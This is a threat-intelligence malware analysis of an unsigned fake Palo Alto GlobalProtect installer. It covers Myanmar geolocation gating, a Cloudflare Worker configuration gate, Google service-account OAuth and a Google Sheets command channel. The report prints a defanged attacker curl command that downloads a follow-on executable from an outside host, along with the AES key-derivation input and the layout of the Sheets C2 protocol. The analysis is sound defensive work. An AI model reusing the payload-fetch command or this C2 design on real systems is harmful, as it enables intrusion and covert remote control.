Executive summary
The case began with an email link and a Google Sites page made to look like a Palo Alto Networks GlobalProtect download portal. We have left the organization, recipient, message and landing page out of the public record. The downloaded installer is enough to tell the technical story.
GlobalProtect.msi and its embedded 64-bit GlobalProtect.exe were both unsigned. The executable first checks the system's public location and continues only when the result points to Myanmar. It then reaches a numbered Cloudflare Worker, receives Google service-account material and uses Google Sheets as a row-oriented command channel: column A holds identifiers used for row lookup, B stores geolocation data and a metadata marker, C carries command material and D receives results.
The first useful runtime session authenticated to Google, read Sheet1!A1, updated Sheet1!B1 and polled Sheet1!C1. That particular C1 response was empty. A later session on September 15 reached Sheet1!C13, recovered an encrypted command, launched cmd.exe /c curl, read 628 bytes from the child's output pipe and attempted to return the result through Sheet1!D13. The command requested NGXPckg.exe from cctvcam[.]serveblog[.]net and wrote it to C:\programData\USOShared\NGXPckg.exe.
The analysis VM also contained NGXPckg.exe downloaded to C:\ProgramData\USOShared. We copied the deployed file from that directory for static and Deep API Trace analysis, and independently downloaded the same recovered URL as a cross-check. The resulting follow-on payload waits about five minutes, checks for a Myanmar location, discovers configuration through raw GitHub content and uses the GitHub Contents API for tasking and result transfer. Its runtime sequence reached the same faviconicons2/images repository, License object and Readme9823 marker seen in our DellHeuristics investigation.
HoneyMyte remains a useful regional comparison because its reported execution chain is clearly different. SideWinder is the stronger investigative lead: public reporting covers Myanmar-focused phishing, imitation sites and geographic restrictions, while the DellHeuristics/NGXPckg.exe overlap supplies a case-specific technical pivot. We treat that as a direction for further intelligence work, not an actor attribution.
Safety warning: Unknown installers and executables belong only in an authorized, disposable, isolated analysis VM containing no trusted credentials, sensitive data, shared folders, or access to a trusted network. A VM is not automatically a secure sandbox. Do not contact suspected live C2 infrastructure unless the activity is explicitly authorized, risk-assessed, monitored, and isolated.
How we investigated the sample
No single run exposed the entire chain. We started with the installer and executable, then used later captures to answer questions raised by the static analysis. The material reviewed for this article includes:
- static inspection of the MSI and embedded executable;
- Windows Installer metadata and package tables;
- the September 16 MalwareINFO Pro Payload and Memory Analyzer static MSI bundle;
- Process Monitor host activity from installation and direct execution;
- packet captures from controlled VM sessions;
- MalwareINFO Deep API Trace, Process Memory Capture, and Payload & Memory Analyzer exports;
- debugger observations of library activity, process exit, and a plaintext application response buffer;
- three identity-bound full-memory captures from the configuration-delivery session; and
- three additional identity-bound captures from a subsequent OAuth and Sheets session;
- a later GlobalProtect Deep API Trace export containing the
C13, child-process, pipe-output, andD13sequence; and - static and Deep API Trace evidence from the confirmed follow-on payload,
NGXPckg.exe, downloaded byGlobalProtect.exeinside the analysis VM, copied fromC:\ProgramData\USOShared\NGXPckg.exe, and independently reacquired from the recovered URL.
These were separate executions, not one uninterrupted timeline. Where that distinction changes the finding, we name the session or process explicitly. In tables, Observed means a runtime source recorded the event, Debugger observed identifies plaintext seen at an API boundary, Runtime-memory observed means the data existed in a live allocation, and Static capability refers to behavior reconstructed from code or package configuration. Inferred and Not proven are reserved for conclusions that the retained material cannot settle directly.
The public disclosure line is equally simple. We publish hashes, defanged infrastructure, file and API paths, protocol markers, code-derived ranges and non-secret cloud identifiers. We do not publish reusable private keys, access tokens, the live gate secret, the active spreadsheet identifier, victim-linked values or raw command output that may contain host data.
Delivery: trusted branding on a public web platform
The private incident report describes a link delivered by email and a Google Sites page styled as a GlobalProtect portal. We intentionally omit the message, sender and recipient details. At technique level, the delivery is consistent with MITRE ATT&CK T1566.002, Spearphishing Link: a link takes the recipient to web content that prompts a download rather than attaching the payload directly.
Google Sites is a legitimate service, and its appearance in a delivery chain does not make the platform malicious. The defensive lesson is to validate the actual publisher, signature and approved software-distribution route instead of trusting a familiar logo or hosting domain.
Palo Alto Networks describes GlobalProtect as secure-access infrastructure built around GlobalProtect apps, portals and gateways. The supplied package instead installed a standalone executable that performed geolocation, configuration-gate and command-channel operations. This mismatch, combined with the absent signatures and deceptive naming, supports T1036.005, Match Legitimate Resource Name or Location.
Sample identity
| Artifact | Size | SHA-256 | Signature state |
|---|---|---|---|
GlobalProtect.msi | 3,475,968 bytes | a124caa58d956c7430ecb8772a3794266235917670c5b56564342bd1456897e7 | No Authenticode signature present |
Embedded GlobalProtect.exe | 425,984 bytes | 33d696728101c9caf6ebb215ba176bbb94e5cc16218b574029b622fd6e3bee8c | No Authenticode signature present |
The executable is a native PE32+ x64 Windows GUI image. MalwareINFO's disk-image profile parsed six sections and eight import modules, found no CLR header, no TLS directory, and no certificate table. Compile and MSI metadata timestamps are useful for chronology, but timestamps can be modified and are not attribution evidence.
The MSI advertised GlobalProtect VPN version 11.5.0 with manufacturer text PaloAlto. Those fields are attacker-controlled package metadata. They must not be treated as vendor verification.
MSI package analysis
On September 16, we re-examined the installer with MalwareINFO Pro's Payload and Memory Analyzer. The retained bundle is MsiAnalysis_20260916_015537_msi_a124caa58d956c74_75ec72d5. The analyzer operated under a StaticOnly;NoArtifactExecution;NoAutomaticResponse safety contract. It parsed the embedded cabinet and recovered all five files declared by the package—7,029,332 bytes in total—with no omitted child or package-processing error. Static child analysis completed for the executable and three DLLs; the PNG remained inventory-only. This pass did not run the installer or any extracted file; it independently corroborated the package inventory and exposed the MSI tables behind the installation behavior.
The package contained the main executable, copies named CRYPT32.dll, bcrypt.dll, and WININET.dll, and a branding image. Its identity and routing fields were:
| MSI field | Value |
|---|---|
PackageCode | {757AEDEC-A120-4713-9114-9B5F705B09FD} |
ProductCode | {49CB5141-CEC5-4324-BB91-E2D843CD4DE1} |
UpgradeCode | {BF73E425-31E9-4F43-AFA3-B928117CAEA2} |
| Product metadata | GlobalProtect VPN version 11.5.0, manufacturer PaloAlto |
| Installation context | ALLUSERS=2 |
| Derived target directory | C:\Program Files\PaloAlto\GlobalProtect VPN |
The product and manufacturer strings are attacker-controlled metadata, not proof of a Palo Alto Networks package. The directory-setting custom action derives the destination from [ProgramFiles64Folder][Manufacturer]\[ProductName], which explains the PaloAlto-themed path without authenticating it.
The MSI's executable custom action uses the embedded GlobalProtect.exe as its source and passes:
GlobalProtect.exe /Install
The action is placed at sequence 5999, after StartServices at 5900 and immediately before RegisterUser at 6000, with an install-state condition on the executable's component. The analyzer labels this an ElevatedCustomAction derived finding. That is evidence of package configuration, not proof that the action completed on a particular host.
The retained installation trace recorded PID 3604 running that command. It wrote a 146,944-byte bcrypt.dll and a 5,039,616-byte WININET.dll into the application directory, then loaded them. The local module names are significant because Windows may search the application directory when resolving DLLs. Microsoft's DLL search-order documentation explains that the application folder participates in module resolution, while its DLL security guidance warns that control of a searched directory can enable DLL preloading or binary planting.
That general Windows behavior does not, by itself, prove that these particular DLLs were malicious. The retained evidence shows that the files were written and loaded from the application folder. Their contents and signer identities require separate evaluation; defenders should not block common Windows DLL names globally.
The MSI Registry table directly defines two GlobalProtectVPN RunOnce values, one under HKCU and one under HKLM. Both point to C:\Program Files\PaloAlto\GlobalProtect VPN\GlobalProtect.exe; the analyzer records this as an exact RunOrRunOnce finding. A scheduled task named GlobalProtectVPNUpdate comes from separate code and host artifacts, not from the MSI table finding. Microsoft's Run and RunOnce documentation confirms that RunOnce entries request one-time execution at logon. The behaviors align with T1547.001, Registry Run Keys / Startup Folder and T1053.005, Scheduled Task.
Windows Installer is legitimate infrastructure. ATT&CK documents adversarial use of it under T1218.007, Msiexec, but an MSI alone is not suspicious. The useful detection is the correlated chain: an unapproved or unsigned MSI, deceptive product identity, an unusual installation path, unexpected local DLLs, autostart configuration, and immediate network activity.
The package also schedules RemoveExistingProducts at sequence 6550 and defines an upgrade row for the same UpgradeCode, with NEWERPRODUCTFOUND and a minimum version of 11.5.0. The analyzer reports this as a derived UpgradeRemoval finding. It shows how the package is configured to handle related products; it does not establish that another product was actually found or removed during the retained run.
Extracted file inventory
Offline extraction recovered the following files. No executable or DLL is attached to this article.
| File | Size | SHA-256 | Review result |
|---|---|---|---|
GlobalProtect.exe | 425,984 bytes | 33d696728101c9caf6ebb215ba176bbb94e5cc16218b574029b622fd6e3bee8c | Unsigned native PE32+ x64 GUI executable; no CLR header |
bcrypt.dll | 146,944 bytes | 811af66dd7e323a74db80648610bbeb956093ae7bd91c5b950ed6aca13d8026 | Microsoft version metadata and a valid embedded signature in the extracted file |
CRYPT32.dll | 1,412,152 bytes | c692af3f8741669cd1b517c461e80bce19ad6e8608c81066cde9786f17be0099 | Microsoft version metadata and a valid embedded signature in the extracted file |
WININET.dll | 5,039,616 bytes | 948589c349b0205ff73c7049b0d2e5c4faffb64271c64ee0033e384f61cf51d6 | Microsoft version metadata; no embedded signature detected by the local check |
paloalto.png | 4,636 bytes | 8a680fcc160c352ed2d9b96654e50bf0f5f504141828aa50b75b970f46f3f170 | Branding resource |
A validly signed supporting DLL does not make the enclosing MSI trustworthy. Conversely, an absent embedded signature on a copied Windows component is not sufficient to call that component malicious; catalog signing and file provenance require separate checks. The evidence of interest is the package's combined file set, placement, execution and network behavior.
Reverse-engineered control flow
Static control-flow analysis supports this sequence:
MSI installation -> GlobalProtect.exe /Install -> files and startup artifacts
Normal launch -> persistent device ID -> public-IP geolocation
Myanmar match -> Cloudflare configuration gate -> Google authorization design
Spreadsheet polling -> session-specific tasking -> command execution -> result submission attempt
The diagram combines the program's control flow with milestones reached in different captures. The earlier Sheets run stopped at an empty C1 poll. The September 15 run reached C13 tasking, child-process creation, output collection and a D13 submission attempt. Keeping those runs separate explains how the assessment changed without rewriting the empty C1 result into something it was not.
Encrypted configuration
The executable stores several operational constants as encrypted blobs. Offline analysis reproduced the program's AES-256-CBC decryption behavior and valid PKCS#7 padding without contacting any external service. Recovered values identify the geolocation host, the install directory, the Cloudflare gate, the gate request-header name and the Windows command-shell prefix.
The configuration decryption input is published because it is a static program constant rather than a live service credential: AmountOfFreeDiskSpace. Direct disassembly shows the executable opening the SHA256 algorithm, hashing that input and using the 32-byte SHA-256(input) result as the AES-256 key. The first 16 bytes of each stored blob supply the CBC initialization vector; the remaining bytes are ciphertext with PKCS#7 padding. This documents how the embedded configuration was recovered without publishing the derived key as an additional copy-ready artifact.
| Property | Reverse-engineered value |
|---|---|
| Key-derivation input | AmountOfFreeDiskSpace |
| Key derivation | SHA-256(input) |
| Cipher | AES-256-CBC |
| Padding | PKCS#7 |
The boundary is deliberate: the configuration decryption input is published, while the live gate-authentication secret remains withheld. The request-header name X-Bot-Secret is useful for detection, but its value could facilitate replay. The later plaintext response strongly supports the header's role as authentication material used to access the configuration gate, but it does not reveal the Worker's server-side validation logic or prove the identity of whoever possessed the value.
Encryption here is local configuration obfuscation, not attribution evidence and not proof that the HTTPS stages succeeded. Both the encrypted data and its recovery logic are present in the executable; TLS separately protected the captured Worker and Google traffic in transit.
Myanmar activation guardrail
Static strings described a public-IP lookup and a comparison with Myanmar. Runtime traffic then supplied the missing behavioral link. The packet capture recorded:
GET /json HTTP/1.1
Host: ip-api.com
User-Agent: SheetsBot/1.0
The response contained country: Myanmar and countryCode: MM. Precise IP address, location and ISP values are intentionally omitted because they describe the analyst's environment and are not necessary for detection.
The corresponding runtime Process Monitor session began at 18:57:42.925 and exited with status 0 at 18:57:45.785, a lifetime of approximately 2.86 seconds. During that interval, PID 7100 connected to ip-api.com:80, a Cloudflare address on TCP/443, and Google-owned infrastructure on TCP/443. The installation session independently showed the same broad destination sequence.
This is stronger than finding the word Myanmar in a binary. The clear request, returned country value, memory-resident country markers, and subsequent Cloudflare/Google connections support a Myanmar activation or targeting guardrail. The public-IP lookup is consistent with T1016.001, Internet Connection Discovery. We use “execution guardrail” descriptively; ATT&CK's narrower T1480.001, Environmental Keying requires cryptographic environmental keying, which this evidence does not establish.
ip-api.com is a legitimate shared service. It is contextual evidence, not a domain that organizations should block globally without considering business use and the originating process.
Persistent device identifier
Reverse engineering shows that the executable attempts to read a locally persisted identifier and generates one when the expected value is unavailable. Later command-channel logic reuses an identifier to find a Sheet row. A read-back of Sheet1!A1:A16 found fifteen populated cells containing ten-character alphanumeric values. Two cells, A1 and A7, held the same value, so this snapshot does not establish that each row represents a unique device. The -tk- marker appeared in the binary and writable private memory, but the Sheet read-back places it in column B's metadata suffix, not inside the observed A-cell identifiers.
The actual identifiers from the analysis VM are not published. The read-back describes the populated cells at inspection time; it does not establish the generator's behavior for every installation or the full lifecycle of a row. Defenders can correlate the uncommon -tk- metadata marker, local identifier artifacts, the executable hash and the surrounding network sequence. Finding the marker alone does not prove that an operator session occurred.
Cloudflare Worker configuration gate
The retained evidence identified a numbered Worker family:
hxxps://sheets-config-gate.hewlett-pack{1..9}[.]workers[.]dev/config0
All nine numbered hostnames occurred in writable private memory. The dump retained a coherent /config0 request construction for hewlett-pack3, including the SheetsBot/1.0 user agent and a populated X-Bot-Secret header. It also retained a less complete hewlett-pack9 request remnant. The header value is intentionally withheld. These memory objects show that request material was constructed in the process; they do not establish that either request was transmitted or accepted.
Only hewlett-pack1 was observed in DNS. Each retained PCAP contained an A-record query and response for sheets-config-gate.hewlett-pack1[.]workers[.]dev, followed by Cloudflare-connected traffic in the relevant sequence. Hosts 2 through 9 remain runtime-memory observations, not network observations. Direct executable inspection contained the common .workers.dev suffix and request artifacts, but not nine literal complete hostnames; the numbered family is therefore reported from the runtime dump rather than mislabelled as nine static strings.
Associated program strings described accepting or rejecting gate access and parsing fields named google_creds, spreadsheet_id, client_email, and private_key. The runtime PCAP did not expose the encrypted HTTPS request or response body.
Cloudflare's Workers documentation explains that a request to a *.workers.dev subdomain invokes user-defined Worker code on Cloudflare's network. That architecture makes a Worker suitable as a small configuration or redirection layer, but the platform remains a legitimate service used by many applications.
Because the HTTPS response was encrypted and no session keys were retained, the PCAP does not reveal the Worker response. A later debugger session supplies a different evidence source: plaintext application data returned through InternetReadFile. We did not retrieve or replay the secret or interact with the endpoint outside the recorded lab executions.
Full-memory evidence narrows the stopping point
The dump was parsed offline as a Windows minidump and each relevant hit was mapped back to its virtual-memory region. This separates constant data mapped from GlobalProtect.exe from transient or copied data in private process memory.
| Memory finding | Location class | What it supports | What it does not prove |
|---|---|---|---|
/config0, SheetsBot/1.0, and a populated X-Bot-Secret request construction associated with hewlett-pack3 | Writable private memory | Request material existed in a runtime allocation | Network transmission, server receipt, or acceptance |
Numbered hewlett-pack1 through hewlett-pack9 hostnames | Writable private memory | The process materialized the numbered host family | That every host was contacted |
hewlett-pack1 DNS query and response | Observed network evidence | This exact numbered host was resolved during retained sessions | HTTPS application content or a successful gate response |
| Gate-success diagnostic | Mapped executable image only | The binary implements a success branch | That the success branch ran |
| Rejection or blocked-channel diagnostic | Mapped executable image and Writable private memory | A runtime allocation retained rejection-path text | Whether the server rejected the request, a channel was blocked, or the text was merely prepared |
-tk- metadata marker | Mapped executable image, Writable private memory, and later Sheet B read-back | The marker is present in the process and appended to B-column geolocation metadata | That it forms part of an A-column identifier or proves operator activity |
For that earlier capture alone, the strongest defensible stopping point remained after geolocation and Worker request preparation. Its private rejection diagnostic was not decisive proof of a server outcome. The later debugger and memory evidence described next supersedes that negative boundary without turning the separate executions into one fictional timeline.
Debugger-confirmed Google configuration delivery
The new evidence comes from a separate execution of the same x64 executable identity. The debugger targeted PID 4408; three MalwareINFO Process Memory Capture manifests bind the captures to the same process-creation identity, executable path, architecture and executable SHA-256 33d696728101c9caf6ebb215ba176bbb94e5cc16218b574029b622fd6e3bee8c. Each capture completed with Complete coverage and an independently matching dump hash.
| Capture | Start time (UTC) | Point-in-time evidence |
|---|---|---|
| Dump 1 | 2026-09-02 20:23:29 | Worker configuration fields, spreadsheet identifier and complete service-account credential material in writable private memory; no compact JWT recovered |
| Dump 2 | 2026-09-02 20:30:33 | Credential remnants plus a signed RS256 JWT and constructed JWT bearer-grant request material |
| Dump 3 | 2026-09-02 20:36:58 | The same signed JWT and request-construction remnants persisted; no usable OAuth access token was recovered |
At wininet!InternetReadFile, the debugger showed a plaintext response buffer containing spreadsheet_id, google_creds, project_id, private_key_id, private_key, client_email and client_id. The same credential-shaped values appeared in writable private memory. This changes the Worker response from Inferred to Debugger observed and confirms that the process received Google configuration material. It does not mean the PCAP was decrypted: the network capture still contains encrypted HTTPS payloads.
A complete Google service-account private key was present in the debugger-observed configuration response. The key is intentionally withheld. The exact spreadsheet identifier, credential key identifier, gate secret and signed JWT are also withheld because they are unnecessary to reproduce the analytical conclusion and could expose or facilitate use of live resources. The debugger screenshots are not published because opaque redaction would remove much of their evidentiary context; the article instead reports the bounded findings.
Google service-account OAuth
Static analysis first recovered a coherent service-account authorization design: JWT fields including alg, RS256, iss, scope, aud, iat and exp; the Google Sheets OAuth scope; RSA signing and key-import paths; the JWT bearer grant; access_token parsing; and construction of a Bearer authorization header. The later memory captures elevate part of that design to runtime evidence.
Google's server-to-server OAuth documentation describes the legitimate model in which a service account signs an assertion, exchanges it for an access token and calls an authorized API. The sample appears designed to obtain credential material through the preceding configuration stage and apply that model to Sheets.
One compact JWT recovered from Dumps 2 and 3 decoded to the following public-safe claims. The complete signed token is intentionally withheld.
| JWT field | Runtime-observed value |
|---|---|
alg / typ | RS256 / JWT |
iss | [email protected] |
aud | https://oauth2.googleapis.com/token |
scope | https://www.googleapis.com/auth/spreadsheets |
iat / exp | 1788380849 / 1788384449 |
| Assertion lifetime | 3,600 seconds (approximately one hour) |
Offline verification confirmed that the RS256 signature matched the private key recovered from Dump 1. Runtime memory also retained the JWT bearer-grant type, an assertion parameter and form-encoded request material. The malware therefore progressed beyond merely implementing service-account OAuth: it constructed a signed assertion and built the token-request body at runtime.
A subsequent execution materially advances that boundary. A debugger transcript retained response metadata identifying token_type as Bearer and expires_in as 3599, while three identity-bound full-memory captures retained populated access-token material in writable private memory. One capture also retained the populated token in Bearer form. Together, these artifacts support a Debugger observed successful OAuth response and Runtime-memory observed token availability. The token itself is intentionally withheld and was not used for independent access.
The reported lifetime was approximately one hour. This confirms token issuance in that later execution; it does not establish who controlled the Google project, grant authorization beyond the captured process, or prove every subsequent API operation.
Google Sheets C2 becomes operational
In a subsequent execution/capture, three completed Full User-Mode Dumps identify PID 2272 as the same x64 executable path and SHA-256, with a consistent process-creation identity across the capture set. This is a separate run from the earlier PID 7268 and PID 4408 evidence and is not merged into either timeline.
The retained writable private memory contains request- and response-shaped Google Sheets API material that advances several protocol stages from static capability to observed runtime evidence:
| Operation | Evidence class | What the evidence supports | What it does not support |
|---|---|---|---|
Read Sheet1!A1 | Runtime-memory observed | A request for the exact cell and a response-shaped object containing a value | Publication of the returned device value or proof of how the row was originally registered |
Update Sheet1!B1 | Runtime-memory observed | A response reports updatedRange Sheet1!B1 with one updated row, column and cell | Publication of the victim/lab metadata or proof of any broader collection |
Poll Sheet1!C1 | Runtime-memory observed | Repeated request material and a response for Sheet1!C1 | The retained response contained no values member and therefore no observed operator command |
Write Sheet1!D1 | Not observed | The binary still contains the static result-channel design | No successful D1 request or update response was recovered |
The exact spreadsheet identifier, returned A1 value, access token and any analyst or device identifiers remain withheld. Generic command-shell strings in mapped images or memory are not counted as command execution. Runtime evidence confirms successful OAuth token issuance, Google Sheets access, a read from Sheet1!A1, a successful update to Sheet1!B1, and polling of Sheet1!C1. The retained command-poll response contained no command value, so operator tasking, command execution, output collection, and Sheet1!D1 result submission remain unobserved. In short: C2 channel establishment and polling were observed; operator tasking and downstream execution were not.
Recovered Google Cloud infrastructure
The debugger-observed configuration exposed identifiers for Google Cloud infrastructure used by the malware. These values do not identify the human operator and do not establish whether the underlying project was attacker-created, compromised or reused.
| Type | Public CTI pivot | Evidence boundary |
|---|---|---|
| Google Cloud project ID | elliptical-tree-505904-p7 | Received in the plaintext configuration response |
| Service-account identifier | [email protected] | Google service-account identity used by the malware; not a victim or end-user email address |
| Google client ID | 101714939433347726433 | Numeric client identifier associated with the recovered service-account object; not an access token or victim ID |
| Private-key ID | Recovered; exact value withheld | Credential identifier retained internally |
| Spreadsheet ID | Recovered; exact value withheld | Active resource identifier retained internally |
| Private key | Complete material recovered; withheld | Reusable credential material is not published |
Google Sheets command protocol
The executable and full memory dump contained a coherent set of Google API artifacts:
oauth2.googleapis.comand an OAuth token path;sheets.googleapis.comand/v4/spreadsheets;client_email,private_key,access_token, andBearer;- the Google Sheets OAuth scope;
- spreadsheet ranges and command/output column markers; and
- command-shell and pipe-related strings.
Google documents that server-to-server OAuth can use a service account to request an access token for Google APIs. Its Sheets API values.get reference shows that reading a range requires a spreadsheet ID, a range and an authorized request. Google also documents APIs for reading and writing cell values.
The sample's artifacts fit that legitimate API model, but appear designed to repurpose it. Direct binary inspection ties the four embedded ranges to these roles:
| Range | Reverse-engineered role | Direction | Current evidence and public boundary |
|---|---|---|---|
Sheet1!A | Device or row identifier | Target -> Sheet / lookup | Code scans rows 1-100 for an existing identifier and contains a val- new-record marker. In the supplied read-back, A1:A15 held ten-character alphanumeric values, with A1 repeated at A7; A16 was empty. The identifiers remain withheld. |
Sheet1!B | Geolocation response and metadata marker | Target -> Sheet | A later response reported a successful one-cell update to Sheet1!B1. In the read-back, fourteen cells contained geolocation JSON with country, region, coordinates, network provider and public-IP fields, followed by -tk-0-- or -tk-100--; B14 held only -tk-100--, and B16 was empty. Victim/lab values remain withheld. |
Sheet1!C | Command material | Sheet -> target | The earlier session's retained Sheet1!C1 response had no command value; a separate session retrieved tasking from C13. In the later read-back, C1:C14 all held the same 224-character hexadecimal value, while C15:C16 were empty. The read-back does not show when those cells were populated. |
Sheet1!D | Command output/result | Target -> Sheet | The earlier session did not retain a successful Sheet1!D1 write. A later trace captured a PUT to D13. In the supplied D1:D16 read-back, only D13 held a value: hex-encoded UTF-16LE curl output. The stored value is not attributed to that exact traced request. |
At a high level, the implemented protocol is: look up or create an identifier in column A, put the geolocation response and a -tk- suffix in column B, read command material from column C, and put command output in column D. Markers such as command-, out-, val-, /values/ and valueInputOption=USER_ENTERED first established this as a reverse-engineered Static capability. The earlier A1 read, B1 update and C1 poll remain Runtime-memory observed findings for that execution; the later Sheet read-back describes a mutable workbook at a different point in time.
Analyst read-backs of column D make its purpose concrete. D13 held hexadecimal text that decoded as UTF-16LE curl console output: a progress meter followed by curl: (7) Failed to connect to cctvcam[.]serveblog[.]net port 443 ... Could not connect to server. D1:D12 and D14:D16 were empty in the supplied D1:D16 snapshot. Two retained D13 reads differed only in the reported connection time, 21,118 versus 21,095 ms, confirming that this cell's contents can change between inspections. D stores a command's console result, including an error, rather than the downloaded executable. The traced process collected 628 pipe bytes, while either D13 read decodes to 3,810 bytes, so we cannot attribute either stored value to that specific traced PUT. The failed connection describes those recorded attempts; the payload acquisition documented below came from a separate observed VM acquisition and an independent download.
The earlier PID 2272 evidence did not observe cmd.exe as a child, an operator command, returned command output, or a successful D1 result write. The correct session-specific claim is therefore: the sample authenticated to Google and established its Sheets-based channel, but the retained C1 response contained no tasking and no downstream command transaction was demonstrated in that run.
The later September 15 Deep API Trace export is a different execution, not a continuation of PID 2272. It retained a GET for Sheet1!C13, 320 response bytes, and analyst-retained command material. Offline reproduction of the executable's decoder interpreted the text as hexadecimal bytes, used the first 16 decoded bytes as the CBC IV, derived an AES-256 key as SHA-256("AmountOfFreeDiskSpace"), decrypted the remaining bytes with AES-256-CBC, and removed valid PKCS#7 padding. The 112 decoded bytes yielded a 90-byte command. The detailed September 15 section publishes the retained ciphertext and a reproducible offline decoder; the defanged command is:
curl hxxps://cctvcam[.]serveblog[.]net/weblogin/ngxpkg -o C:\programData\USOShared\NGXPckg.exe
The program prepended c:\windows\system32\cmd.exe /c. Deep API Trace event 3213 then recorded CreateProcessW at GlobalProtect.exe+0xAE59, ReturnValue=true, result Success, child PID 7040, and child thread ID 1668. The parent subsequently recorded eight nonzero ReadFile returns of 1, 235, 1, 77, 1, 77, 1, and 235 bytes, totaling 628 bytes, before a final zero-byte read. It then attempted a PUT to Sheet1!D13 with a 2,529-byte optional body; the API returned true and 166 response bytes were retained.
Deep API Trace establishes the transition from recovered C13 tasking to the hidden cmd.exe /c curl child and the parent's collection of the child's output. The VM also contained the downloaded file at the commanded destination. We copied that deployed NGXPckg.exe, hashed it, analyzed it statically and ran it under a separate Deep API Trace session; an independent download from the same recovered URL provided an additional acquisition check. The traced D13 request still has RemoteEffect=NotVerified in that export. The separate Sheet read-back establishes that D13 held curl output, but cannot bind that stored value to this specific request.
Blocking all workers.dev, oauth2.googleapis.com, or sheets.googleapis.com traffic would disrupt legitimate activity. Detection should correlate the exact rare hostname and URI with the unsigned executable, SheetsBot/1.0, geolocation request, installation path, persistence artifacts, and process ancestry.
Prior use of Google Sheets as command and control
Google Sheets is a legitimate collaboration service, but its API can also be repurposed as a structured message store. A client that possesses valid authorization can read and update predictable cells without contacting a conventional command server. That design can make malicious requests appear alongside ordinary access to Google infrastructure, although Google API traffic is not inherently benign and is not “network invisible.” Several publicly documented malware families used this general model before the Fake GlobalProtect sample analyzed here.
In August 2024, Proofpoint documented Voldemort, a C backdoor delivered through a multi-stage chain that ended in DLL side-loading. Its decrypted configuration contained an OAuth client ID, client secret and refresh token. Voldemort exchanged those values for an access token, located available cells, uploaded host information and read operator commands from Google Sheets. Proofpoint also described victim-specific pages named from host and user information. The backdoor supported operations including directory listing, file transfer, command execution, sleep and exit. This report is a strong precedent for a malware operator treating a spreadsheet as both a task queue and a result store, but it does not connect the Fake GlobalProtect sample to Voldemort or its attributed operator.
In January 2026, Zscaler ThreatLabz reported SHEETCREEP, a lightweight C# backdoor used in the Sheet Attack campaign. SHEETCREEP decrypted an embedded configuration containing Google Cloud credentials and a Sheet identifier, generated a victim identifier and established a victim-specific area in the workbook. It then polled for new commands every three seconds, passed them to a hidden cmd.exe process and wrote encrypted, Base64-encoded output back to the sheet. The same research recorded fallback configuration locations in Firebase and Google Cloud Storage. This is relevant as an example of repeated polling and bidirectional command/result exchange through Sheets; its configuration format, encryption and execution chain are not evidence about this sample.
In July 2026, Seqrite described SheetAgent in Operation ShadowRecruit. That .NET RAT carried hardcoded Google service-account material, including an RSA private key, and created a Sheets service with access to Google Sheets and Drive. Seqrite characterized Sheets as a backup C2 channel and documented a fixed column layout: computer identity, timestamp, commands, command output, public IP and agent status occupied defined fields. The malware searched for an existing computer name or registered the next available row, then reused that row for command and result exchange. The resemblance to a row-oriented protocol is analytically useful, but shared use of columns, service accounts or Google APIs does not establish common code, infrastructure or authorship.
Also in 2026, Google Threat Intelligence Group and Mandiant reported GRIDTIDE, a C-based Linux backdoor used in intrusions attributed by Google to UNC2814. GRIDTIDE used the Google Sheets API as a high-availability communications channel for shell commands and raw data transfer, placing spreadsheet operations inside traffic to a widely used cloud service. Google’s disruption included terminating attacker-controlled Cloud projects and revoking the API access used for C2. GRIDTIDE broadens the precedent beyond Windows and .NET malware: the underlying technique is service abuse, not a platform-specific malware architecture.
Across these reports, the recurring design choices are authorization to an attacker-accessible cloud resource, deterministic victim or task placement, periodic reads for instructions and writes for status or results. The implementations differ in language, credential model, workbook organization, encryption, infection chain and operating system. Runtime evidence confirms that this sample authenticated and interacted with its configured Sheet. The earlier session retained an A1 read, B1 update and empty C1 poll; the separate September 15 session retained C13 command material, child-process creation, pipe-output collection, and a D13 submission attempt. A separate read-back found curl output stored in D13, but cannot identify which request wrote that exact value. This comparison does not establish a relationship between this sample and Voldemort, SHEETCREEP, SheetAgent, GRIDTIDE or any associated threat actor.
Reading the captures in sequence
The first memory set showed how the program prepared its Cloudflare request. The next captures exposed the returned Google configuration, a signed assertion and a valid OAuth response. PID 2272 then read A1, updated B1 and polled C1, but C1 contained no command. That is the complete finding for that run.
The September 15 capture recorded a different moment in the same protocol. This time C13 contained command material. The process launched a child, collected 628 bytes from its pipe and attempted to write the result to D13. We use C13 and D13 as exact spreadsheet references; they are not labels for a proven thirteenth connection, poll or execution.
Command execution and output capture
Disassembly connects command data to a Windows command-shell prefix and a process-creation helper. That helper configures an inherited pipe for both stdout and stderr, starts the child with the CREATE_NO_WINDOW flag, reads bounded output and waits for completion before closing handles. This supports a general-purpose command-and-result capability consistent with T1059.003, Windows Command Shell and cloud-service abuse consistent with T1102, Web Service.
The earlier C1 run demonstrated the channel without tasking. The later C13 run supplied the missing command transaction: encrypted task material, child-process creation and pipe-output collection. The recovered ciphertext and an offline decoder appear in the follow-on section below.
Persistence
Package and host evidence identify GlobalProtectVPN RunOnce values under both HKCU and HKLM, referencing the installed executable. Microsoft's Run and RunOnce documentation explains that RunOnce values request one-time execution at logon.
Separate code and host artifacts identify a scheduled task named GlobalProtectVPNUpdate with PaloAlto-themed metadata and an action referencing GlobalProtect.exe. Task Scheduler COM use and the recovered task strings support the implementation, but the exact principal, run level and every trigger property were not fully established and are not invented here.
These behaviors align with T1547.001, Registry Run Keys / Startup Folder and T1053.005, Scheduled Task. A registry value or task name is not a verdict by itself; verify its referenced path, hash, signer, creator, action and timestamps.
Build and packaging intelligence
The executable header timestamp corresponds to 2026-08-19 06:08:59 UTC. The MSI Summary Information “last saved” value corresponds to 2026-08-19 06:09:17 UTC—18 seconds later. That tight interval is consistent with the executable being packaged immediately after the recorded build time.
Both timestamps are attacker-controlled and may be forged. They do not prove the real compilation time, build host, actor location or delivery date. No PDB path or trustworthy executable product-version resource was recovered, so compiler and developer attribution are not asserted. The combination of timestamps, MSI GUIDs, install path, task/value names, user agent and cloud protocol markers is more useful as a clustering hypothesis than any single field.
What runtime analysis added
Static analysis gave us the route through the program; runtime work filled in the traffic and data. The PCAP recorded the clear-text geolocation request and Myanmar response. Debugger and memory captures exposed the Cloudflare response, OAuth construction, token issuance and the first A1/B1/C1 exchange. The September 15 API trace then captured the C13 command transaction, child process, 628 bytes of output and D13 submission attempt. Each source answered a different part of the same investigation.
Background network traffic is not C2
Debugger captures showed WinHttpConnect activity involving c.pki.goog, and the case retained a file named 37BFu49bNWI.crl. Hash and content inspection identified it as a Google Trust Services certificate revocation list. The call stack passed through Windows cryptographic networking components rather than establishing the investigated command channel.
